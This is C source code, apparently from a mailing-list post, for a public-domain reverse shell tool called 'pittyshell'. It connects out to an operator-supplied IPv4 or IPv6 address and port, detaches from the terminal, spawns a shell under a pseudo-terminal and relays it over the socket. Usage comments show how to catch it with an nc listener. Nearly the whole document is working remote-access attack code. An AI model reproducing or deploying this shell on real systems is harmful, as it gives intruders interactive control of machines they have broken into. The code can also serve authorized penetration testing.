/* Department of Defense Special Reverse Shell in C
 * To compile:
 * cc -lutil -opittyshell pittyshell.c
 * To run:
 * ./pittyshell IP:v4or6:address port [/path/to/]shell [shell args]
 * Listen with nc on the other end for the shell.
 * Example:
 * Start nc in one window: $ nc -l ::1 34343
 * Then in another window: $ ./pittyshell ::1 34343 /bin/sh
 *
 * To be clear, this is PUBLIC DOMAIN SOFTWARE -- I wrote it.
 * You are free to incorporate your changes, BSD it, GPL it, or
 * go off in a corner somewhere and circle-c your own version of it.
 * I don't care how you attribute it.  Just don't take my last copy
 * of it and don't prevent me from publishing it.
 * 
 * I'm not planning to travel to Germany anytime soon, in case
 * anybody's wondering.
 *
 * Incorporated fix for bug reported by Ted Unangst -- please test.
 * To do: make it work over SSL.
 */
 
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <termios.h>
#include <signal.h>
 
/* forkpty() is declared in either util.h (for BSD) or pty.h (for Linux) */
 
#ifdef HAVE_UTIL_H
#include <util.h>
#endif
 
#ifdef HAVE_PTY_H
#include <pty.h>
#endif
 
 
int main(int argc, char **argv) {
 int k, m, n, af, pf, sock, devnull, shell, in, out, pid;
 pid_t terminal;
 FILE *sockfp;
 u_int16_t port; /* Call htons() to convert to network byte order. */
 size_t sockstructlen;
 union { /* A union is the correct way to handle socket structures. */
   struct sockaddr sock;
   struct sockaddr_in sock4;
   struct sockaddr_in6 sock6;
 } sockaddru;
 char buf[8192];
 memset(&sockaddru, 0, sizeof(sockaddru));
 
 if (argc < 4) exit(1);
 sscanf(argv[2], "%hu", &port);
 
 if (strpbrk(argv[1], ".") != NULL) { /* IPv4 dotted quad */
   af = AF_INET; pf = PF_INET; sockstructlen = sizeof(sockaddru.sock4);
   inet_pton(af, argv[1], &sockaddru.sock4.sin_addr);
   sockaddru.sock4.sin_port = htons(port); /* network byte order--big endian */
 } else
 if (strpbrk(argv[1], ":") != NULL) { /* looks more like an IPv6 address. */
   af = AF_INET6; pf = PF_INET6; sockstructlen = sizeof(sockaddru.sock6);
   inet_pton(af, argv[1], &sockaddru.sock6.sin6_addr);
   sockaddru.sock6.sin6_port = htons(port);
   /* There might be a few more things to do for IPv6 */
 } else {/* We need to bail out here. */}
 
 sockaddru.sock.sa_family=af; /* This is valid for any address family. */
 
 sock = socket(af, SOCK_STREAM, 0); if (sock < 0) exit(1);
 if (connect(sock, &sockaddru.sock, sockstructlen) != 0) exit(2);
 sockfp = fdopen(sock, "r+"); if (sockfp == NULL) exit(3);
 fprintf(sockfp, "%s", "Socket opened.  Closing STDIO file descriptors...\n"); 
fflush(sockfp);
 
 devnull = open("/dev/null", O_RDWR, 0);
 if (devnull < 0 ||
   dup2(devnull, STDIN_FILENO) < 0 ||
   dup2(devnull, STDOUT_FILENO) < 0 ||
   dup2(devnull, STDERR_FILENO) < 0 )
     exit(4);
 
 fprintf(sockfp, "%s", "File descriptors closed.  Daemonizing...\n"); 
fflush(sockfp);
 if(fork() || (setsid(),fork())) _exit(0);
 fprintf(sockfp, "%s", "Daemonized.  Starting terminal...\n"); fflush(sockfp);
 
 terminal = forkpty(&shell, NULL, NULL, NULL);
 switch (terminal) {
   case 0:
     fprintf(stderr, "%s", "Terminal started.  Executing shell...\n");
     execvp(argv[3], argv + 3);
   case (-1):
     fprintf(sockfp, "%s", "Failed to start shell.  Exiting...\n");
     exit(5);
 } /* only the parent leaves the switch statement */
 signal(SIGPIPE, SIG_IGN);
 fprintf(sockfp, "%s", "Forking for I/O...\n"); fflush(sockfp);
 pid = fork();
 if (pid < 0) {
   fprintf(sockfp, "%s", "Failed to fork for I/O.  Exiting...\n");
   exit(6);
 } else
 if (pid == 0) in = sock, out = shell;
 else in = shell, out = sock;
 while (n = read(in, buf, 8192), n > 0) {
   for (m = 0; m < n; m += k) {
     k = write(out, buf + m, n - m);
     if (k < 1) break;
   }
   if (k < 1) break;
 }
 shutdown(sock, pid ? SHUT_WR : SHUT_RD);
}

Reply via email to